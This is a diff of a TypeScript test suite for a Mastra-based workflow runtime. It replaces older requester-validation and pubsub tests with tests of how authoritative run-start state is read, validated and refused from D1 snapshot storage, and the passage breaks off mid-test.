-    execute: async ({ inputData, resumeData, suspend }) => {
-      if (!resumeData) return suspend({ reason: 'human approval required' });
-      counters.approvalResumes += 1;
-      return { ...inputData, approvedBy: resumeData.approvedBy };
+    {
+      executionFence:
+        bound === 'fence'
+          ? new ExecutionFenceStore(binding as ExecutionFenceDatabase)
+          : 'none',
+      startIdempotency:
+        bound === 'start'
+          ? new StartIdempotencyStore(binding as ExecutionFenceDatabase)
+          : 'none',
     },
-  });
-  createWorkflow({
-    id: 'demo-approval',
-    inputSchema: z.object({ topic: z.string() }),
-    outputSchema: z.object({
-      topic: z.string(),
-      notes: z.string(),
-      approvedBy: z.string(),
-    }),
-  })
-    .then(research)
-    .then(approval)
+  );
+  const schema = z.looseObject({});
+  const workflow = app
+    .createWorkflow({
+      id: 'd1-workflow',
+      inputSchema: schema,
+      outputSchema: schema,
+    })
+    .then(
+      app.createStep({
+        id: 'gate',
+        inputSchema: schema,
+        outputSchema: schema,
+        execute: async ({ inputData }) => inputData,
+      }),
+    )
     .commit();
-
-  const echo = createStep({
-    id: 'echo',
-    inputSchema: z.object({ value: z.string() }),
-    outputSchema: z.object({ value: z.string() }),
-    execute: async ({ inputData }) => {
-      counters.echoRuns += 1;
-      return inputData;
-    },
+  await app.runtime.status('d1-workflow', 'd1-run');
+  const workflows = (await storage.getStore(
+    'workflows',
+  )) as FencedWorkflowsStorageD1;
+  const native = workflows[FENCED_WORKFLOW_STORAGE];
+  const capability = native ? { ...native } : undefined;
+  Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+    value: capability,
+    writable: true,
+    configurable: true,
   });
-  createWorkflow({
-    id: 'echo',
-    inputSchema: z.object({ value: z.string() }),
-    outputSchema: z.object({ value: z.string() }),
-  })
-    .then(echo)
-    .commit();
-
-  return { runtime, counters };
+  const seed = (snapshot: WorkflowRunState = d1Snapshot()) =>
+    workflows.persistWorkflowSnapshot({
+      workflowName: 'd1-workflow',
+      runId: 'd1-run',
+      snapshot,
+    });
+  return {
+    ...app,
+    sql,
+    storage,
+    workflow,
+    workflows,
+    get capability() {
+      if (!capability) throw new Error('D1 fixture capability is missing');
+      return capability;
+    },
+    seed,
+    close: () => sql.close(),
+  };
 }
 
-describe('RunnerRuntime host pubsub identity', () => {
-  it('threads the pubsub instance from init() through to runtime.pubsub', () => {
-    // #given — a host builds ONE pubsub identity for its DO
-    const pubsub = createHostPubSub();
-
-    // #when — init() threads it (InitOptions.pubsub -> RunnerRuntimeOptions.pubsub)
-    const { runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', pubsub, executionFence: 'none' },
-    );
-
-    // #then — the SAME instance is reachable, so the agent's createRun
-    // sites and observe() replay share one feed. Delete the thread in init.ts
-    // and this fails: runtime.pubsub is undefined, so the two createRun sites
-    // each let core default a separate emitter — the bug this seam prevents.
-    expect(runtime.pubsub).toBe(pubsub);
+describe('FS8 D1 authoritative start state', () => {
+  it.each([
+    'default',
+    'prefixed',
+    'background',
+  ] as const)('selects one raw %s snapshot for physical identity and S1 payload', async (kind) => {
+    const f = await d1Fixture(kind);
+    try {
+      for (const status of ['success', 'failed', 'suspended'] as const) {
+        const snapshot = d1Snapshot(status);
+        await f.seed(snapshot);
+        const capability = f.capability;
+        const originalRead = capability.readSnapshot.bind(capability);
+        const read = vi
+          .spyOn(capability, 'readSnapshot')
+          .mockImplementation(async (address) => {
+            const row = await originalRead(address);
+            const replacement = d1Snapshot(status);
+            replacement.requestContext['flowsafe.runProvenance'].startToken =
+              'S2';
+            replacement.result = { source: 'S2' };
+            replacement.error = { name: 'Error', message: 'S2 failure' };
+            assert(replacement.context.gate);
+            replacement.context.gate.suspendPayload = { source: 'S2' };
+            await f.seed(replacement);
+            return row;
+          });
+        const publicRead = vi.spyOn(f.workflow, 'getWorkflowRunById');
+        const ordinaryRead = vi.spyOn(f.workflows, 'getWorkflowRunById');
+        const load = vi.spyOn(f.workflows, 'loadWorkflowSnapshot');
+        const selected = await f.runtime.authoritativeStartState(
+          'd1-workflow',
+          'd1-run',
+        );
+        expect(selected).toMatchObject({
+          storage: 'd1',
+          kind: 'result',
+          execution: {
+            tablePrefix: kind === 'prefixed' ? 'd1_' : '',
+            workflowId: 'd1-workflow',
+            runId: 'd1-run',
+            startToken: 'S1',
+          },
+        });
+        expect(selected?.summary).toMatchObject(
+          status === 'success'
+            ? { result: { source: 'S1' } }
+            : status === 'failed'
+              ? { error: 'S1 failure' }
+              : {
+                  suspendPayload: { gate: { source: 'S1' } },
+                  suspendedAt: { gate: 100 },
+                  resumedAt: { gate: 90 },
+                  resumeCount: { gate: 2 },
+                },
+        );
+        expect(selected?.snapshot).toEqual(snapshot);
+        expect(read).toHaveBeenCalledTimes(1);
+        expect(publicRead).not.toHaveBeenCalled();
+        expect(ordinaryRead).not.toHaveBeenCalled();
+        expect(load).not.toHaveBeenCalled();
+        expect(
+          selected?.storage === 'd1' && Object.isFrozen(selected.raw),
+        ).toBe(true);
+        if (selected?.storage === 'd1')
+          expect(JSON.parse(selected.raw.snapshot)).toEqual(snapshot);
+        read.mockRestore();
+        publicRead.mockRestore();
+        ordinaryRead.mockRestore();
+        load.mockRestore();
+      }
+    } finally {
+      f.close();
+    }
   });
 
-  it('leaves runtime.pubsub undefined when the host configures none (byte-identical)', () => {
-    // #when — no pubsub passed
-    const { runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-
-    // #then — undefined, the polling-fallback posture existing hosts keep
-    expect(runtime.pubsub).toBeUndefined();
+  it('copies all exact raw fields without reserializing snapshot bytes', async () => {
+    const f = await d1Fixture();
+    try {
+      await f.seed();
+      const bytes = `${JSON.stringify(d1Snapshot(), null, 2)}\n`;
+      f.sql
+        .prepare(
+          'UPDATE mastra_workflow_snapshot SET snapshot = ?, resourceId = ?, createdAt = ?, updatedAt = ?',
+        )
+        .run(
+          bytes,
+          'resource-1',
+          '2026-01-01T04:00:00+04:00',
+          '2026-01-02T04:00:00+04:00',
+        );
+      const row = await f.capability.readSnapshot({
+        workflowId: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      assert(row);
+      const observed = { ...row };
+      vi.spyOn(f.capability, 'readSnapshot').mockResolvedValue(observed);
+      const selected = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      assert(selected?.storage === 'd1');
+      expect(selected.raw).toEqual(row);
+      expect(selected.raw).not.toBe(observed);
+      observed.snapshot = '{}';
+      observed.resourceId = 'changed';
+      expect(selected.raw.snapshot).toBe(bytes);
+      expect(selected.raw.resourceId).toBe('resource-1');
+      expect(selected.summary).toMatchObject({
+        createdAt: '2026-01-01T00:00:00.000Z',
+        updatedAt: '2026-01-02T00:00:00.000Z',
+      });
+    } finally {
+      f.close();
+    }
   });
-});
-
-describe('RunnerRuntime', () => {
-  it('passes initial workflow state through to core execution', async () => {
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const stateSchema = z.object({ seed: z.string() });
-    const inspect = createStep({
-      id: 'inspect-state',
-      stateSchema,
-      inputSchema: z.object({}),
-      outputSchema: z.object({ seed: z.string() }),
-      execute: async ({ state }) => ({ seed: state.seed }),
-    });
-    createWorkflow({
-      id: 'stateful',
-      stateSchema,
-      inputSchema: z.object({}),
-      outputSchema: z.object({ seed: z.string() }),
-    })
-      .then(inspect)
-      .commit();
 
-    await expect(
-      runtime.start('stateful', {
-        runId: 'scheduled-state',
-        inputData: {},
-        initialState: { seed: 'from-schedule' },
-      }),
-    ).resolves.toMatchObject({
-      status: 'success',
-      result: { seed: 'from-schedule' },
-    });
+  it.each([
+    'default',
+    'unfenced',
+  ] as const)('returns %s absence despite a cached Run', async (kind) => {
+    const f = await d1Fixture(kind);
+    try {
+      await f.workflow.createRun({ runId: 'd1-run' });
+      await f.workflows.deleteWorkflowRunById({
+        workflowName: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      expect(await f.runtime.status('d1-workflow', 'd1-run')).not.toBeNull();
+      expect(
+        await f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).toBeNull();
+    } finally {
+      f.close();
+    }
   });
 
-  it('rejects numeric run and start-attempt ids without RegExp coercion', async () => {
-    const { runtime } = buildRuntime(new InMemoryStore());
-
-    await expect(
-      runtime.start('echo', {
-        runId: 123 as unknown as string,
-        inputData: { value: 'x' },
-      }),
-    ).rejects.toBeInstanceOf(InvalidRunRequestError);
-    await expect(
-      runtime.start('echo', {
-        runId: 'run-1',
-        inputData: { value: 'x' },
-        attemptToken: 123 as unknown as string,
-      }),
-    ).rejects.toThrow('attemptToken is malformed');
+  it.each([
+    'string',
+    'object',
+  ] as const)('detaches one unfenced %s record with an explicit null namespace', async (shape) => {
+    const f = await d1Fixture('unfenced');
+    try {
+      const snapshot = d1Snapshot('suspended');
+      const date = new Date('2026-01-01T00:00:00Z');
+      const record = {
+        workflowName: 'd1-workflow',
+        runId: 'd1-run',
+        snapshot: shape === 'string' ? JSON.stringify(snapshot) : snapshot,
+        createdAt:
+          shape === 'string'
+            ? ('2026-01-01T00:00:00Z' as unknown as Date)
+            : date,
+        updatedAt: date,
+      };
+      const read = vi
+        .spyOn(f.workflows, 'getWorkflowRunById')
+        .mockResolvedValue(record);
+      const selected = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      assert(snapshot.context.gate);
+      snapshot.context.gate.suspendPayload = { source: 'S2' };
+      snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S2';
+      date.setTime(0);
+      expect(selected).toMatchObject({
+        storage: 'unfenced',
+        execution: { tablePrefix: null, startToken: 'S1' },
+        summary: {
+          suspendPayload: { gate: { source: 'S1' } },
+          createdAt: '2026-01-01T00:00:00.000Z',
+        },
+      });
+      expect(selected).not.toHaveProperty('raw');
+      expect(selected?.snapshot.context.gate?.suspendPayload).toEqual({
+        source: 'S1',
+      });
+      expect(read).toHaveBeenCalledTimes(1);
+    } finally {
+      f.close();
+    }
   });
 
-  it('accepts a requester id exactly at the principal-id bound', async () => {
-    const { runtime } = buildRuntime(new InMemoryStore());
-    const requestedBy = 'r'.repeat(200);
-
-    await expect(
-      runtime.start('echo', {
-        runId: 'bounded-requester',
-        inputData: { value: 'x' },
-        requestedBy,
-        requestedByKind: 'human',
-      }),
-    ).resolves.toMatchObject({ requestedBy, requestedByKind: 'human' });
+  it.each([
+    'pending',
+    'success',
+    'suspended',
+  ] as const)('classifies raw %s independently of retained marker and lifecycle', async (status) => {
+    const f = await d1Fixture();
+    try {
+      for (const marker of [undefined, true])
+        for (const terminal of [false, true]) {
+          const snapshot = d1Snapshot(status);
+          snapshot.requestContext['flowsafe.runProvenance'].initialAdmission =
+            marker;
+          if (terminal)
+            snapshot.requestContext['flowsafe.runLifecycle'] = {
+              version: 1,
+              revision: 2,
+              deadlineAt: 50,
+              terminal: {
+                status: 'timed_out',
+                error: { code: 'TIMED_OUT', message: 'run timed out' },
+                transitionedAt: 100,
+                replayPrincipals: [{ kind: 'human', id: 'owner' }],
+              },
+            };
+          await f.seed(snapshot);
+          const selected = await f.runtime.authoritativeStartState(
+            'd1-workflow',
+            'd1-run',
+          );
+          expect(selected?.kind).toBe(
+            status === 'pending' ? 'initial' : 'result',
+          );
+          if (status === 'pending')
+            expect(selected).not.toHaveProperty('summary');
+          else
+            expect(selected?.summary?.status).toBe(
+              terminal ? 'timed_out' : status,
+            );
+        }
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    ['an overlong requester', 'r'.repeat(201)],
-    ['an all-whitespace requester', ' '.repeat(200)],
-    ['a control-bearing requester', 'reviewer\u000aforged'],
-  ])('rejects %s on start', async (_label, requestedBy) => {
-    const { runtime } = buildRuntime(new InMemoryStore());
+    'unattributed',
+    'inherited child',
+    'agent',
+  ] as const)('reads role-neutral %s v2 provenance without auxiliary context', async (mode) => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot();
+      const provenance = snapshot.requestContext['flowsafe.runProvenance'];
+      if (mode === 'unattributed') {
+        delete provenance.startIdentity;
+        delete provenance.requestedBy;
+        delete provenance.requestedByKind;
+      }
+      if (mode === 'inherited child')
+        provenance.startIdentity.target.id = 'parent-workflow';
+      if (mode === 'agent') {
+        provenance.startIdentity.target = {
+          kind: 'agent',
+          id: 'logical-agent',
+          threadId: 'thread-1',
+        };
+        provenance.agentStart = { threaded: true };
+      }
+      await f.seed(snapshot);
+      const selected = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      expect(selected?.provenance).toEqual(provenance);
+      expect(selected?.execution).toEqual({
+        tablePrefix: '',
+        workflowId: 'd1-workflow',
+        runId: 'd1-run',
+        startToken: 'S1',
+      });
+      expect(selected?.summary?.requestedBy).toBe(
+        mode === 'unattributed' ? undefined : 'owner',
+      );
+      expect(selected).not.toHaveProperty('startIdentity');
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.start('echo', {
-        runId: 'invalid-requester',
-        inputData: { value: 'x' },
-        requestedBy,
-        requestedByKind: 'human',
-      }),
-    ).rejects.toThrow('requestedBy is malformed');
+  it.each([
+    ['absent', undefined],
+    ['v1', { version: 1 }],
+    ['unknown version', { version: 3 }],
+    ['marker', { initialAdmission: false }],
+    ['start token', { startToken: 'bad/token' }],
+    ['attempt token', { attemptToken: '' }],
+    ['requester', { requestedByKind: 'robot' }],
+    ['counts', { resumeCounts: [['gate', 0]] }],
+    ['epoch', { mutationEpoch: -1 }],
+    ['agent mode', { agentStart: { threaded: 'true' } }],
+  ])('refuses modern association with malformed provenance: %s', async (label, corruption) => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot();
+      if (label === 'agent mode')
+        snapshot.requestContext['flowsafe.runProvenance'].startIdentity.target =
+          { kind: 'agent', id: 'logical-agent', threadId: 'thread-1' };
+      snapshot.requestContext['flowsafe.runProvenance'] =
+        label === 'absent'
+          ? undefined
+          : {
+              ...snapshot.requestContext['flowsafe.runProvenance'],
+              ...corruption,
+            };
+      await f.seed(snapshot);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    'human',
-    'service',
-    'agent',
-    'system',
-  ] as const)("accepts the '%s' requester kind", async (requestedByKind) => {
-    const { runtime } = buildRuntime(new InMemoryStore());
+    ['runId', 'other-run'],
+    ['status', 'invented'],
+    ['requestContext', []],
+    ['context', null],
+    ['suspendedPaths', []],
+    ['requestContext', { 'flowsafe.runLifecycle': { version: 99 } }],
+  ])('refuses malformed consumed snapshot field %s', async (key, value) => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot();
+      const replacement =
+        key === 'requestContext' && !Array.isArray(value)
+          ? { ...snapshot.requestContext, ...(value as object) }
+          : value;
+      await f.seed({ ...snapshot, [key]: replacement } as WorkflowRunState);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.start('echo', {
-        runId: `requester-kind-${requestedByKind}`,
-        inputData: { value: 'x' },
-        requestedBy: 'requester',
-        requestedByKind,
-      }),
-    ).resolves.toMatchObject({ requestedByKind });
+  it.each([
+    ['tablePrefix', 'other_'],
+    ['workflowId', 'other-workflow'],
+    ['runId', 'other-run'],
+    ['resourceId', 12],
+    ['snapshot', '{'],
+    ['snapshot', 'null'],
+    ['snapshot', '[]'],
+    ['createdAt', 'invalid'],
+    ['updatedAt', 'invalid'],
+  ])('refuses a wrong or malformed raw field: %s', async (key, value) => {
+    const f = await d1Fixture();
+    try {
+      await f.seed();
+      const row = await f.capability.readSnapshot({
+        workflowId: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      vi.spyOn(f.capability, 'readSnapshot').mockResolvedValue({
+        ...row,
+        [key]: value,
+      } as NonNullable<typeof row>);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    'operator',
-    '',
-    null,
-    1,
-  ])('rejects an invalid requester kind (%s)', async (requestedByKind) => {
-    const { runtime } = buildRuntime(new InMemoryStore());
+    'workflowName',
+    'runId',
+    'timestamp',
+    'noncloneable',
+  ] as const)('refuses malformed custom record: %s', async (field) => {
+    const f = await d1Fixture('unfenced');
+    try {
+      const snapshot = d1Snapshot();
+      if (field === 'noncloneable')
+        snapshot.result = { callback: () => undefined };
+      vi.spyOn(f.workflows, 'getWorkflowRunById').mockResolvedValue({
+        workflowName: field === 'workflowName' ? 'other' : 'd1-workflow',
+        runId: field === 'runId' ? 'other' : 'd1-run',
+        snapshot,
+        createdAt: field === 'timestamp' ? new Date(Number.NaN) : new Date(100),
+        updatedAt: new Date(100),
+      });
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.start('echo', {
-        runId: 'invalid-requester-kind',
-        inputData: { value: 'x' },
-        requestedBy: 'requester',
-        requestedByKind: requestedByKind as never,
-      }),
-    ).rejects.toThrow('requestedByKind is malformed');
+  it('retains input taxonomy and fixed unreadable messages for source failures', async () => {
+    const f = await d1Fixture();
+    try {
+      await expect(
+        f.runtime.authoritativeStartState('bad/workflow', 'd1-run'),
+      ).rejects.toThrow(InvalidRunRequestError);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'bad/run'),
+      ).rejects.toThrow(InvalidRunRequestError);
+      await expect(
+        f.runtime.authoritativeStartState('unknown', 'd1-run'),
+      ).rejects.toThrow(UnknownWorkflowError);
+      const cause = new Error('secret-token-storage-failure');
+      vi.spyOn(f.capability, 'readSnapshot').mockRejectedValue(cause);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toMatchObject({
+        name: 'RunStateUnreadableError',
+        message: "run 'd1-run' of workflow 'd1-workflow' state is not readable",
+        cause,
+      });
+      vi.spyOn(f.storage, 'getStore').mockResolvedValue(undefined);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+      const missingStorage = new Mastra({ logger: false });
+      vi.spyOn(missingStorage, 'getStorage').mockReturnValue(undefined);
+      vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue(missingStorage);
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    ['requestedBy without requestedByKind', { requestedBy: 'requester' }],
-    ['requestedByKind without requestedBy', { requestedByKind: 'human' }],
-  ])('rejects %s on start', async (_label, requester) => {
-    const { runtime } = buildRuntime(new InMemoryStore());
+    'undefined',
+    'storage failure',
+  ] as const)('refuses custom %s instead of reporting absence', async (mode) => {
+    const f = await d1Fixture('unfenced');
+    try {
+      const read = vi.spyOn(f.workflows, 'getWorkflowRunById');
+      if (mode === 'undefined') read.mockResolvedValue(undefined as never);
+      else read.mockRejectedValue(new Error('secret-storage-token'));
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toMatchObject({
+        name: 'RunStateUnreadableError',
+        message: "run 'd1-run' of workflow 'd1-workflow' state is not readable",
+      });
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.start('echo', {
-        runId: 'half-attributed-start',
-        inputData: { value: 'x' },
-        ...requester,
-      } as never),
-    ).rejects.toThrow(
-      'requestedBy and requestedByKind must be provided together',
-    );
+  it.each([
+    'fence',
+    'start',
+  ] as const)('checks matching %s binding without reading or seeding its state', async (bound) => {
+    const f = await d1Fixture('default', bound);
+    try {
+      await f.seed();
+      const store =
+        bound === 'fence'
+          ? f.runtime.executionFence
+          : f.runtime.startIdempotency;
+      assert(store);
+      const admission = vi.spyOn(store, 'readForAdmission');
+      const prepare = vi.spyOn(f.sql, 'prepare');
+      expect(
+        await f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).toMatchObject({ execution: { startToken: 'S1' } });
+      expect(admission).not.toHaveBeenCalled();
+      expect(
+        prepare.mock.calls.every(
+          ([sql]) =>
+            /^\s*SELECT\b/i.test(sql) &&
+            sql.includes('mastra_workflow_snapshot'),
+        ),
+      ).toBe(true);
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    ['an overlong requester', 'r'.repeat(201)],
-    ['an all-whitespace requester', ' '.repeat(200)],
-    ['a control-bearing requester', 'reviewer\u007fforged'],
-  ])('rejects %s on resume', async (_label, requestedBy) => {
-    const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: 'invalid-resume-requester',
-      inputData: { topic: 'launch' },
-      requestedBy: 'initiator',
-      requestedByKind: 'human',
-    });
+    'fence',
+    'start',
+  ] as const)('rejects mismatched %s binding before reading a snapshot', async (bound) => {
+    const f = await d1Fixture('default', bound);
+    try {
+      const store =
+        bound === 'fence'
+          ? f.runtime.executionFence
+          : f.runtime.startIdempotency;
+      assert(store);
+      vi.spyOn(store, 'usesDatabase').mockReturnValue(false);
+      const read = vi.spyOn(f.capability, 'readSnapshot');
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+      expect(read).not.toHaveBeenCalled();
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.resume('demo-approval', started.runId, {
-        step: 'approval',
-        resumeData: { approvedBy: 'alice' },
-        requestedBy,
-        requestedByKind: 'human',
-      }),
-    ).rejects.toThrow('requestedBy is malformed');
+  it('refuses a fenced custom domain instead of granting a fallback identity', async () => {
+    const f = await d1Fixture('unfenced', 'fence');
+    try {
+      const read = vi.spyOn(f.workflows, 'getWorkflowRunById');
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).rejects.toThrow(RunStateUnreadableError);
+      expect(read).not.toHaveBeenCalled();
+    } finally {
+      f.close();
+    }
+  });
+
+  it('uses the registered workflow storage instead of nominal Runtime storage', async () => {
+    const f = await d1Fixture();
+    const actual = await d1Fixture('prefixed');
+    try {
+      await actual.seed();
+      vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue(
+        new Mastra({ storage: actual.storage, logger: false }),
+      );
+      const nominal = vi.spyOn(f.capability, 'readSnapshot');
+      expect(
+        await f.runtime.authoritativeStartState('d1-workflow', 'd1-run'),
+      ).toMatchObject({
+        storage: 'd1',
+        execution: { tablePrefix: 'd1_', startToken: 'S1' },
+      });
+      expect(nominal).not.toHaveBeenCalled();
+    } finally {
+      f.close();
+      actual.close();
+    }
   });
 
   it.each([
-    ['requestedBy without requestedByKind', { requestedBy: 'requester' }],
-    ['requestedByKind without requestedBy', { requestedByKind: 'human' }],
-  ])('rejects %s on resume', async (_label, requester) => {
-    const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: 'half-attributed-resume',
-      inputData: { topic: 'launch' },
-    });
+    'capability',
+    'workflow storage',
+  ] as const)('captures the original D1 source across held-read %s replacement', async (replacement) => {
+    const f = await d1Fixture();
+    const other = await d1Fixture('prefixed');
+    const held = cDeferred();
+    const release = cDeferred();
+    try {
+      await f.seed();
+      await other.seed();
+      const capability = f.capability;
+      const read = capability.readSnapshot;
+      const original = await read.call(capability, {
+        workflowId: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      const receivers: unknown[] = [];
+      const selectedRead = vi.fn(async function (
+        this: FencedWorkflowAdmissionCapability,
+        address: { workflowId: string; runId: string },
+      ) {
+        receivers.push(this);
+        const row = await read.call(this, address);
+        held.resolve();
+        await release.promise;
+        return row;
+      });
+      capability.readSnapshot = selectedRead;
+      const pending = f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      await held.promise;
+      const otherRead = vi.spyOn(other.capability, 'readSnapshot');
+      if (replacement === 'capability') {
+        Object.assign(capability, other.capability);
+        Object.defineProperty(f.workflows, FENCED_WORKFLOW_STORAGE, {
+          value: other.capability,
+        });
+      } else
+        vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue(
+          new Mastra({ storage: other.storage, logger: false }),
+        );
+      release.resolve();
+      const selected = await pending;
+      expect(selected).toMatchObject({
+        storage: 'd1',
+        execution: {
+          tablePrefix: '',
+          workflowId: 'd1-workflow',
+          runId: 'd1-run',
+          startToken: 'S1',
+        },
+        raw: original,
+      });
+      expect(receivers).toEqual([capability]);
+      expect(selectedRead).toHaveBeenCalledTimes(1);
+      expect(otherRead).not.toHaveBeenCalled();
+    } finally {
+      release.resolve();
+      f.close();
+      other.close();
+    }
+  });
 
-    await expect(
-      runtime.resume('demo-approval', started.runId, {
-        step: 'approval',
-        resumeData: { approvedBy: 'alice' },
-        ...requester,
-      } as never),
-    ).rejects.toThrow(
-      'requestedBy and requestedByKind must be provided together',
-    );
+  it('captures the custom domain method and receiver before a held read', async () => {
+    const f = await d1Fixture('unfenced');
+    const held = cDeferred();
+    const release = cDeferred();
+    try {
+      await f.seed();
+      const read = f.workflows.getWorkflowRunById;
+      const receivers: unknown[] = [];
+      const selectedRead = vi
+        .spyOn(f.workflows, 'getWorkflowRunById')
+        .mockImplementation(async function (this: typeof f.workflows, input) {
+          receivers.push(this);
+          const row = await read.call(this, input);
+          held.resolve();
+          await release.promise;
+          return row;
+        });
+      const pending = f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      await held.promise;
+      const replacement = vi.fn(read.bind(f.workflows));
+      f.workflows.getWorkflowRunById = replacement;
+      release.resolve();
+      expect(await pending).toMatchObject({
+        execution: { tablePrefix: null, startToken: 'S1' },
+      });
+      expect(receivers).toEqual([f.workflows]);
+      expect(selectedRead).toHaveBeenCalledTimes(1);
+      expect(replacement).not.toHaveBeenCalled();
+    } finally {
+      release.resolve();
+      f.close();
+    }
   });
 
-  it('inherits a complete stored requester pair when a resume supplies neither', async () => {
-    const { runtime } = buildRuntime(new InMemoryStore());
-    const started = await runtime.start('demo-approval', {
-      runId: 'inherited-requester-pair',
-      inputData: { topic: 'launch' },
-      requestedBy: 'initiator',
-      requestedByKind: 'service',
-    });
+  it.each([
+    'success',
+    'failed',
+    'suspended',
+    'foreach',
+    'lifecycle',
+  ] as const)('matches a frozen v1 summary twin for %s', async (mode) => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot(
+        mode === 'foreach' || mode === 'lifecycle' ? 'suspended' : mode,
+      );
+      if (mode === 'foreach')
+        snapshot.context.gate = [
+          {
+            status: 'suspended',
+            suspendPayload: { source: 'old' },
+            suspendedAt: 50,
+          },
+          snapshot.context.gate,
+        ] as unknown as WorkflowRunState['context'][string];
+      if (mode === 'lifecycle')
+        snapshot.requestContext['flowsafe.runLifecycle'] = {
+          version: 1,
+          revision: 1,
+          deadlineAt: 50,
+          terminal: {
+            status: 'timed_out',
+            error: { code: 'TIMED_OUT', message: 'run timed out' },
+            transitionedAt: 100,
+            replayPrincipals: [{ kind: 'human', id: 'owner' }],
+          },
+        };
+      snapshot.requestContext['flowsafe.runProvenance'].version = 1;
+      await f.seed(snapshot);
+      const twin = structuredClone(
+        await f.runtime.status('d1-workflow', 'd1-run'),
+      );
+      const before = await f.capability.readSnapshot({
+        workflowId: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      assert(before);
+      snapshot.requestContext['flowsafe.runProvenance'].version = 2;
+      f.sql
+        .prepare(
+          'UPDATE mastra_workflow_snapshot SET snapshot = ? WHERE workflow_name = ? AND run_id = ?',
+        )
+        .run(JSON.stringify(snapshot), 'd1-workflow', 'd1-run');
+      const selected = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+      );
+      expect(selected?.summary).toEqual(twin);
+      expect(selected?.snapshot).toEqual(snapshot);
+      expect(selected?.summary).toMatchObject({
+        createdAt: new Date(before.createdAt).toISOString(),
+        updatedAt: new Date(before.updatedAt).toISOString(),
+        requestedBy: 'owner',
+        requestedByKind: 'human',
+      });
+      if (mode === 'success')
+        expect(selected?.summary?.result).toEqual({ source: 'S1' });
+      if (mode === 'failed')
+        expect(selected?.summary?.error).toBe('S1 failure');
+      if (mode === 'suspended' || mode === 'foreach')
+        expect(selected?.summary).toMatchObject({
+          suspendPayload: { gate: { source: 'S1' } },
+          suspendedAt: { gate: 100 },
+          resumedAt: { gate: 90 },
+          resumeCount: { gate: 2 },
+        });
+      for (const key of [
+        'provenance',
+        'requestContext',
+        'startToken',
+        'attemptToken',
+        'raw',
+        'snapshot',
+      ])
+        expect(selected?.summary).not.toHaveProperty(key);
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      runtime.resume('demo-approval', started.runId, {
-        step: 'approval',
-        resumeData: { approvedBy: 'alice' },
-      }),
-    ).resolves.toMatchObject({
-      requestedBy: 'initiator',
-      requestedByKind: 'service',
-    });
+  it('keeps nested collisions root-local against a frozen v1 twin and raw payload', async () => {
+    const f = d0Fixture();
+    d0Collision(f);
+    try {
+      await f.runtime.start('d0-root', d0Start);
+      const twin = structuredClone(await f.runtime.status('d0-root', 'd0-run'));
+      const row = f.row();
+      const snapshot = JSON.parse(row.snapshot) as WorkflowRunState;
+      assert(snapshot.requestContext);
+      snapshot.requestContext['flowsafe.runProvenance'].version = 2;
+      f.replaceSnapshot(snapshot);
+      const selectedRow = f.row();
